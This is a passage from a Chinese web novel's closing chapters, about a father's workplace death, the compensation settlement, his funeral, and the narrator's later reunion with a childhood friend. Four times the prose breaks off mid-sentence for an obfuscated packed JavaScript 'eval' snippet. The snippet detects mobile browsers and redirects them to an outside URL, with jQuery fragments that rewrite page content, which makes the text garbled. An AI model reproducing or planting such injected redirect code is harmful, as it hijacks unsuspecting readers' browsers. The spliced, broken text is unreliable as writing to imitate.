“安然，你先听我说，我知道你和你爷爷奶奶现在肯定很难受，但人已经走了，你爸爸早拉回去晚拉回去，没有意义。公司催你们早点下葬，是他们惯用的手段。如果你们真把人安葬了，再想要工伤赔偿，基本就难了。当务之急是继续跟公司谈，把你爸的手机、所有能证明他在工作期间出事的证据，都保管好，赶紧找律师！” “另外，我马上开车过来！我再问问看有没有朋友认识三山县那边的人。” “孩子，记住，你现在是家里的主心骨，得稳住自己，更要照顾好你爷爷的情绪。” 听了吴梦霖的建议，赵安然心里有了点底。他转身和赶来的赵庭春、赵庭冬等亲戚们商量。其实亲戚们的想法和吴梦霖一致，都认为不能轻易拉人回去，只是担心赵兴强承受不住。 “爷爷那边我来安抚，我可以做这个决定。”赵安然语气坚定。 听到了赵安然的决定，于是亲戚们又开始各种集思广益，开始分头联系律师，想办法。 吴梦霖赶到时，身边还跟着两个人，一个许耀刚，另一个是杨顺子。原来吴梦霖在高中同学群里发了消息求助。许耀刚看到后立刻联系了他，又想起杨顺子的老丈人是三山县人，据说认识当地警局的人。于是三人便结伴赶到了殡仪馆。 简单寒暄后，吴梦霖介绍了他带来的律师。一行人再次和公司代表谈判，但依然僵持不下。最后决定第二天一早双方去县警察局，由警方的专业调解员介入。如果调解不成，再考虑下一步。 这时，杨顺子找老丈人出面，托关系找到了负责调解的人员，希望能促成和解。对赵家这样的普通家庭来说，和大公司打持久官司无疑是以卵击石，公司拖上一年半载，赵家人根本耗不起。能尽快拿到一笔赔偿，给赵国亮的父母和子女留一些抚养费，才是现实的选择。 经过一上午艰难的谈判，双方终于达成和解。公司同意给予赵国亮的直系亲属八十万的工伤赔偿——父亲赵兴强、母亲杨红翠、儿子赵安然、女儿赵无恙，每人二十万元。 合同签署完毕，赵家人才带着赵国亮的遗体返回老家，准备操办丧事。 因为杨顺子等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788813|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的帮助，谈判比预想中顺利结束。还在路上的赵智民和赵小英便直接改道回老家，提前家里安排丧事琐碎。 毕竟，家里只剩杨红翠一人，又悲痛过度，根本撑不起场面。 杨顺子和许耀刚则上了吴梦霖的车，跟着灵车一起回村，送赵国亮最后一程。 车子行驶在蜿蜒的山路上，气氛沉重。许耀刚和杨顺子沉默地坐在后座，各自望着窗外。多年前“刀哥”那件事，像根刺一样扎在两人心里，耿耿于怀。 那事之后没几年，国家严打□□和农村聚众赌博，刀哥后来因其他案子被抓，数罪并罚，现在还在牢里蹲着。 当年，许耀刚和杨顺子在刀哥的场子里输光了钱想走，却被刀哥的手下拦住。刀哥说，他的赌局有个规矩，上了桌必须玩够五万的“流水”，赢了或输了几千就想跑是不可能的。 那时候的农村赌场，谁开的谁就有定规则的权利。他们没有钱，也走不了。都是社会上混的人，刀哥自然也知道这两人也榨不出油水，知道跟他们经常同伴的还有一小伙子。于是威逼他们，只要拉人顶替，便可放他们走。 走投无路之下，两人便把赵国亮骗了过去，最终导致了赵国亮被迫借贷五万的那场祸事。 看到赵国亮为自己抗下这笔债，杨顺子内心备受煎熬，曾冲动地想去跟刀哥拼命，把这事了结。他也确实去了，是许耀刚拦住了他：“你去了就是送死！” 最终，无颜面对兄弟的杨顺子远走新疆，许耀刚去了青海，两人躲了几年，直到听说刀哥入狱才敢回四川。 这些过往，吴梦霖毫不知情。同样，赵国亮后来深陷网络赌博、欠下巨债的事情，许耀刚和杨顺子也一直被蒙在鼓里。 因为自刀哥事件后，他们没脸和赵国亮联系。他们一直断绝来往。 “听说他欠了一百多万，全家勒紧裤腰带还了七八年，去年年底才刚还清……”吴梦霖叹息着打破了车内的沉默，“他跟我说过，今年终于能重新开始了，要努力挣钱给爹妈养老，再存点钱给安然在市里买房。他说孩子从小没了妈，自己没尽到父亲的责任，也没尽到子女的孝道，亏欠老人孩子太多，就想好好弥补家人……唉，这倒是留了八十万给他们，但人就这么猝不及防的走了。” 许耀刚和杨顺子喉咙发紧，嘴唇动了动，终究什么也没说出来，只是把头垂得更低了。 自从那次事件后，他们两个人就再也没有沾手过赌博，平时连小麻将都不参与，彻底断了。他们万万没想到，当年被他们拖下水的赵国亮，后来竟会深陷网赌的泥潭。 车窗外，景物飞逝。人的命运，有时真是让人措手不及。 67. 结束 灵柩下葬仪式定在明早八点半。 此刻是凌晨三点。我刚听完赵国亮大概的生平，心里堵得慌，忍不住给妈妈发了条微信，问她明天来不来。没想到她秒回： “你舅舅和舅妈已经赶回来了，我明天早上过来。” 帮忙的村里乡亲们早已回去休息，因为明早还要一大早起来帮忙。留在赵家守夜的，都是年轻人，是赵国亮的至亲好友们。 客厅里，赵安然和他的姑姑们围坐一桌低声说话；隔壁赵智民家的客厅里，一桌人打着牌，是赵国亮的兄弟姐妹们；坝子外生着几炉火，围坐着几位年纪稍轻的长辈；最边上，靠近我坐的那桌，应该就是赵国亮的朋友们。他们每个人都和赵安然打了招呼，又过来找我说话，还问起我妈妈。我猜他们就是吴梦霖、许耀刚、杨顺子、李超这些人。 看这阵势，大家是打算熬通宵了。 在场的每个人都有伴儿聊着，就我一个人显得格格不入。奇怪的是，我此刻竟毫无睡意，自己也说不清为什么不想去睡。 赵小英看我一个人坐在外面，怕我冷，把我叫进屋里。我靠在沙发上，闭着眼睛听他们聊天。 这一晚的时间仿佛过得特别快。以往守夜，总觉得漫长难熬，这次似乎只是一个打盹儿的功夫，就听见道士们来了，村里帮忙的人也陆续到了。 下葬仪式开始了。 我和赵安然被安排走到外面坝子上，朝着灵堂的方向跪下。道士们开始诵经。渐渐地，其他平辈的小孩们也跪在了我们身后。 诵经完毕，我们这些小辈起身退后，和后面的人群站在一起，让出中间的空地。村里的男人们纷纷上前，合力将棺木抬出灵堂，用粗麻绳仔细捆扎结实。 最后一段经文唱完，我们重新上前跪下。杨红翠颤抖着递上一只公鸡，道士当场割喉放血，完成封门仪式。赵安然被拉起来，戴上一个写着“孝”字的帽子，双手捧着赵国亮的遗像，走在送葬队伍的最前面。我们这些小辈跟在棺材身后，边走边跪行。其他亲友则跟在我们后面。 天还没大亮，一群送葬队伍就这么浩浩荡荡的沿着一条公路一直往前走。走了约莫二十分钟，来到一座小山前。上山的路有些陡峭，抬棺的男人们开始吃力。后面队伍里的男人们纷纷上前搭手，就这么在众人的合力下帮助下，终于将棺木抬到去，安放进早已修砌好的墓穴里。 此时还没盖土封顶，因为时辰未到，需要在等五分钟。 “他的亲人们，还有谁要见最后一面的，抓紧时间看看，看完我们就封棺盖土了。”主事的道士喊道。 赵小英和赵智民拉着我往前挤。排在第一个的是赵安然。他默默地看着，脸上没什么表情。 接着轮到我。说实话，我并不想看。内心深处，我不愿让赵国亮的模样在我脑海里留下太深的印记——既然过去没有，以后也不必有了。于是，我只是快速地扫了一眼，试图让那印象模糊些。 然而，就是这匆匆一瞥，他的样子还是印入了眼帘。脸色苍白，眉毛很浓，鼻梁高挺。他闭着双眼，整个面容反而比遗像上显得平和许多，没有了照片里那双眼睛透出的疲惫与黯淡。 闭上眼的他，看起来走得很安详。 我心里一时五味杂陈。 随后是赵智民、赵小英，接着是赵小英的两个孩子。我们这一群人中，只有赵小英没忍住，看着棺木里的赵国亮，失声哭了出来。 时间一到，棺盖合拢，一锹锹泥土覆盖上去。 我抬起头，望着已经亮起来的天空。一个人的一生，就这样落幕了。我忍不住想，人死后真的会上天吗？此刻他的灵魂若在天上，看到这为他的葬礼举行得这么浓重，会感到欣慰吗？又或许，看到亲人的不舍，他也会徘徊不忍离去？ 另外......他看到我也在这里，又会作何感想？ 当然，我没有经历过死亡，也无从知晓死后的世界。这一切，不过是我对生命终结的想象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788814|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一箱鞭炮噼啪作响，宣告下葬仪式正式结束。 我跟随着人群下山，回去吃早饭。 刚走到山脚，就看见妈妈站在路边，像是在等我。我赶紧上前挽住她的胳膊。她抬起头，深深地望了一眼那座小山，然后便不再回头。 她走得很慢，我也跟着放慢脚步。我偷偷看了一眼她的眼神，和赵安然一样，平静得看不出什么情绪。 “他走得很安详。”我轻声在她旁边说了一句。我想，她大概希望如此吧。 多少恩怨情仇，最终都成往事。 回到赵家，吃了早饭。众人开始收拾东西，陆续道别离开。亲戚和好友们纷纷过来打招呼。 “秀梅，这几年咋样？听说你在宁波买房了？以后都不回来了吗？”走到我们面前的是赵国亮的好友李超。看他衣着体面，气色不错，应该是过得挺好。 “嗯，在宁波待了十多年了，就在那边定居了。”妈妈平静地回答。 李超顿了顿，还是问出了口：“那……赵安然呢？”话刚出口，他似乎觉得有些冒昧，不好意思地挠了挠头，目光有些游移。 “他大概继续呆在市里吧，他跟朋友合伙开一个洗车店，听说生意还行。你也在梓州，以后……麻烦你多照应着点。”妈妈的声音很轻。 “这肯定的。以后你来梓州，咱们常聚，吴梦霖他们几个都在。”李超连忙应承。 “好。而且秀山也在梓州，我空了肯定会回来的。”妈妈点点头。 短暂的交谈后，李超口中的吴梦霖、许耀刚、杨顺子等人也过来和妈妈打了招呼，又和赵安然说了几句，随后一行人结伴离去。 送走了一波又一波的亲友，最后只剩下赵家的至亲和我们母女俩。赵安然他们在屋里收拾，我和妈妈站在外里。 门把我们隔开了。 那道门，像一道无形的界限，将我们隔在了两个世界。我们和他们之间，仿佛始终隔着些什么，走不到一起。 68. 离开 葬礼结束了，我不知道此刻是该走还是该留。如果走，我和妈妈应该是去外婆家。但妈妈只是站着不动，我也就陪她站在原地。 我突然想起：赵国亮的工伤赔偿！ 之前听赵小英她们谈话，作为赵国亮的女儿，我似乎也有一份赔偿，数目还不小，好像是二十万。 这时，屋里有人叫我们进去烤火。我和妈妈被让到火炉边坐下。赵兴强和杨红翠两位老人开始询问我们在宁波的生活，问我读书怎么样，打探我们的一切。 妈妈挑了些不痛不痒的问题，回答得不急不缓，语气平静。 我看着妈妈，直觉告诉我，她不是为了这笔钱才留下的。我又环视了一圈屋里的赵家人——除了赵安然，其他的每一个人，眼神里都带着一种审视。 他们在试探我们的生活状况，更在试探我们会不会开口提那笔工伤赔偿。 一股厌烦的情绪涌了上来。人死之后，财产分割似乎是必然的程序，更何况赵国亮还留下这么一大笔钱。所有人都认为，我们对这笔钱虎视眈眈，他们在害怕，害怕我们争夺这笔钱。 我不喜欢这种氛围，不喜欢这个地方，只想快点离开。 “妈妈，我想去上厕所。”我找了个借口，起身离开气氛压抑的客厅。 绕到赵智民房子背后，那里有一条的小路，很少有人会从这边行走。我从兜里掏出一包没开封的烟，这是我前几天在桌上顺手拿的，没想到现在派上了用场。 我已经好久没有抽烟了，当我吸第一口的时候，还不太适应，呛了一下。 接着，那股熟悉的感觉又回来了，只是这烟的味道实在不怎么样，我很不喜欢。 正当我还在沉思妈妈的想法时，没留意身后。等我一回头，竟发现妈妈不知何时站在旁边，静静地看着我抽烟。我吓了一跳，慌忙把烟扔在地上，用脚碾灭。 我手忙脚乱，想找点事情掩饰，却不知该做什么，只能局促地道歉：“对不起……” 我就站在那里，等待来自妈妈的责备。她却只是静静地看着我，眼神一如既往的柔和，过了好一会儿，她才开口，说出的话却让我意想不到： “给我来也一根吧。” 她细长的手就这么向我伸出来，短暂的震惊后，我突然笑了。 妈妈也这么看着我笑。 我们又共享了一个秘密，没有追问缘由，彼此心照不宣。 随后，我把烟拿出来，抽出一根递给她。妈妈微微抬头示意我给她点上。她吸烟的动作很很娴熟，显然比我老练得多。 看着她如此自然地吐出烟圈，估计已经抽烟许久了。但是我从未在她身上闻到过烟味。 妈妈抽烟的动作也很美，或者说，美人做什么都带着韵味。接着，我又给自己点上一根。借着抽烟的间隙，我故作随意地问起那件事： “听说他的工伤赔偿，我那份有二十万。” 妈妈没有看我，眼睛直视前方，我抬头看过去，是山，绵延不断的山。 “你想要吗？” 问题又被抛回来了。 想了一会儿，我没有直接回答。只说了我的感受：“这里的一切对我来说都很陌生，还是宁波……我更熟悉一些。” “那我们就回宁波。”她的回答没有一丝犹豫。 我又想到上午那个男人问妈妈的话，忍不住重复：“那……赵安然呢？” 听到这个名字，妈妈终于把目光转向我：“他对宁波不熟。” 她顿了顿，补充道：“他应该不会喜欢宁波的。” 我已经得到了答案。我最担心的，其实还是妈妈。而她心里最放不下的，大概就是赵安然了。 我们再次陷入沉默，安静地抽着烟。 突然，墙拐角传来脚步声。还没等我们反应过来，我和妈妈同时转头，竟看到我们刚刚谈论的主角。 妈妈看到他，反应比我刚才强烈许多。比起我刚才的慌不择乱，她迅速背过身，把快抽完的烟扔在地上，重复我刚刚的动作，用脚碾灭。 这样的行为，我已经演练过一次，再重复这些动作要比她熟练一点。又或许是我对赵安然看到我抽烟的行为，没有那么害怕和心虚。 我又从赵安然脸上，看到了短暂的震惊，随后很快恢复了表面的平静，但是我能得看出他在装镇定，故作淡然。 “爷爷找你们。” 他说明了来意，却没有马上离开，只是站在那里看着我们。妈妈听到了也没动，我也跟着站在原地。 妈妈忽然又把手伸向我。我愣了一下才反应过来，把烟盒拿出来。没有等我抽出一根，她直接拿过整包烟，然后抽出一根递给了赵安然。 赵安然定在原地大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788815|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概十秒左右，随即伸手接了过去。妈妈又从我这拿走打火机，给他点上。我还没反应过来，接着，她又抽出一根递给我，也给我点上。 最后是她自己的。 我们三个人，就这样站成一排，躲在房子背后静静地抽着烟。没有一个人说话。 我不想打破这种氛围。这也是第一次，觉得我们仨是一家人。但一支烟的时间太短，很快就燃到了尽头。 最先动作的是妈妈。她把烟头扔在地上碾灭，转头看着我，语气轻柔：“抽烟对身体不好。烟我就没收了，以后不许再抽了。” 她又看向赵安然：“安然，你也少抽点。” “走吧。”说完，她率先转身离开。 我路过赵安然身边跟上妈妈，似乎看到了赵安然上扬的嘴角。 回到客厅，赵兴强问起妈妈接下来的打算。妈妈说要回去上班，我也得回去读书。她主动向众人提出下午就要离开。我们还要去看外婆。 “这么急啊？不多住两天？”杨红翠出声挽留。 “不了。”妈妈很果断的拒绝，不管对方是真心还是假意。 赵家人也没有强烈挽留。 临走前，赵兴强和杨红翠一人塞给我一个红包。在妈妈默许的眼神下，我收下了。他们说着“这是你的家，以后常回来看看”之类的话。 最后，妈妈走到赵安然面前，轻轻抱了他一下：“有事给我打电话，或者发微信。” 赵安然淡淡地点了点头。 在他的目送下，我就跟着妈妈走上公路，回外婆家。这情景，恍惚间，我又回到了四岁那年——妈妈牵着我，只有我们两个人，离开赵家。 只是上一次是黑夜，这一次是白天。 路上，我把红包拿出来递给妈妈。她又推回给我。我知道，妈妈没有提那二十万，对方也默契地没有提。这样反而让我们都松了一口气。 亲情这种东西，有时候也需要顺其自然，不必强求。 至于赵安然，妈妈大概也不想勉强他。他是赵家的人，有自己的责任和牵绊。我们不敢轻易走近他，他也不敢轻易触碰我们。 谁都不敢去捅破那层窗户纸，也不知道捅破后会是什么局面。更何况，现在时机尚未成熟。 既然如此，那就都先朝前走吧。 每个人，都应该有崭新的人生！ 69. 终章 离开外婆家前，我把赵家给的两个红包里的钱都拿了出来，塞给了外婆。告别后，舅舅开车把我们送到了高铁站。 我和妈妈再次坐上高铁，离开了四川，回到了宁波。 回到宁波后，我做的第一件事，就是向妈妈提出改名的想法。她没多问，很快我们就去办理了手续。 从赵无恙，到陈思月，又变回赵无恙，如今，我正式成了王无恙。这个名字，应该不会再变了。 接着，我陪妈妈去了理发店。她原本只是想剪掉干枯的发尾，看着镜中的自己，好像没有什么变化。她想了想，干脆让理发师剪了个清爽的短发，还烫了个新发型。 换了个发型的妈妈，依然很好看，似乎还多了几分轻松。 妈妈继续回商场上班，但我能感觉到，她比从前松弛了许多。她开始和同事约着一起去做美容、美甲。当然，这也是在精打细算之后的。 “三人组团有折扣，更划算。” 看到她这样，我很开心。 我找她要了陈思阳老家的地址。她告诉了我。但我没立刻去找他。明年他该高考了，我不想现在去打扰。 我没上普通高中，读的是职高，不过在初中班主任的帮助下，我进了一个可以参加高考的班。不过我这三年都没有学习，我不是学神，哪怕最后半学期再怎么努力，应该应该也考不上本科。但我还是决定努力一把，考不上本科也无所谓。进入大学后，我依然可以参加本科统招，继续往上读。 我不再逃课，也不再去做那些零散的兼职。回到了课堂，安安心心学习。 我的变化让孙晓菲很诧异，尤其是我连姓都改了。不过她很快习惯了，毕竟名字还是“无恙”。 或许是被我影响了，或许是她自己也谈腻了恋爱，孙晓菲不再拉着我逃课，我们俩又像从前一样，结伴泡图书馆，认真上课、复习。在班上，我俩成了埋头苦学的“异类”，但我们毫不在意。最终，我们顺利通过了升学考试。 但还是差一点，我只能去读专科。 妈妈很是为我高兴，我居然去读了大学。她很开心，毕竟她初中毕业后再也没踏入过校园。 考完试，孙晓菲兴奋地邀请我去日本旅行，这是我们之前就计划好的。去的理由有点天真，就是想去日本感受一下日语和宁波话的差别。 我和孙晓菲都不是宁波本地人，我四岁随妈妈来宁波。她是江西人，在小学后才被接过来。虽然我们从小都在宁波长大，现在也在这里定居，却完全听不懂宁波话，觉得它听起来像日语。 所以，我俩就想找个宁波本地的朋友一起去日本，试试看用宁波话能不能跟日本人“交流”。 但我婉拒了。现在我有更想做的事情，我已经等了十一年，终于鼓足了勇气——我想去见那个一直想念的人。 我怕高考一结束他就出去旅游了。但转念一想，考完他总得等成绩、填志愿、等录取通知书吧？应该不会那么着急出去。 尽管如此，我还是迫不及待了。 2025年6月9日，所有考试已全部结束。 第二天，我一人坐着地铁然后又转公交。公交车晃晃悠悠，直达那个乡镇。下车后，眼前的景象让我陌生，与我记忆中的模样陈家村早已天差地别。 我沿着大路漫无目的地走，权当是故地重游。心里存着一点点侥幸：也许，能和陈思阳偶遇呢？ 我期待着跟他偶遇。 我相信，我第一眼就能认出他。那他呢？他还能认出我吗？ 想到这里，我就不由自主地忧伤起来。如果他真的不记得我了怎么办？我还要主动上前吗？ 不会的，他肯定记得！ 小时候他从我这“借”走了多少零花钱啊。还有那么多次，他去游戏厅玩，都是我替他打掩护、编瞎话才蒙混过关的…… 那如果他认出我，跟我打招呼，我该怎么回应？ 我脑子里上演着各种重逢的场景，越想越开心，可开心里又夹杂着忐忑。 唉，算了，不想了，顺其自然吧。 我记得镇上有座石桥。沿着石桥一直往前走，就是我小时候的幼儿园。从幼儿园左转，穿过一条小路，就是一条大公路。沿着大路一直走，路旁第五户人家，就是陈家。 凭着这点模糊的记忆，我走到了石桥边。桥还是那座桥。小时候，陈思阳总爱拉着我坐在这里，分享零食，吃完了才肯回家。 很顺利，我继续往前走，果然看到了那所幼儿园。校门口似乎还回荡着他为我跟别的孩子打架的叫嚷声。 然后，左转，穿过小路，走上那条宽阔的公路。目标就在前方。 就在我左转踏上小路时，迎面一个小女孩，大约五六岁的样子，骑着儿童滑板车直冲过来！我慌忙闪身避开。小女孩后面紧跟着一个穿白色T恤、浅棕色工装裤的男生。他和我年纪相仿，白白净净的，个子很高。我穿平底鞋也有一米七，他看起来得有一米八五左右。 “不好意思！你没事吧？” 他见我差点被撞到，赶紧跑过来道歉，然后快步追上那个调皮的小女孩。 我看着他的脸，愣住了。 “陈思雨！你给我停下来！” 听到“陈思雨”这个名字，我的直觉没错！忍不住笑了出来。 原来，真的偶遇了。 我就这么看着他拉住小女孩的滑板车，板起脸想教训她，可小女孩一点儿不怕，笑嘻嘻的。他一脸无奈，却也透着宠溺。接着，他们继续往前走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我又轻轻地念了一遍他的名字。不再是试探，只是终于能唤出这思念了十一年的三个字。 “嗯？” 他笑着挑了一下眉毛，回应了一个简单的音节。 我朝他伸出手：“你好，我叫王无恙。曾用名叫赵无恙，小时候在这里……大家都叫我陈思月。” “陈思阳，很高兴见到你。” 他腾出拿着雪糕的右手，稳稳地握住了我的手心。他的手掌温暖而有力。 “陈思月，好久不见。很高兴再次见到你。” ————正文完。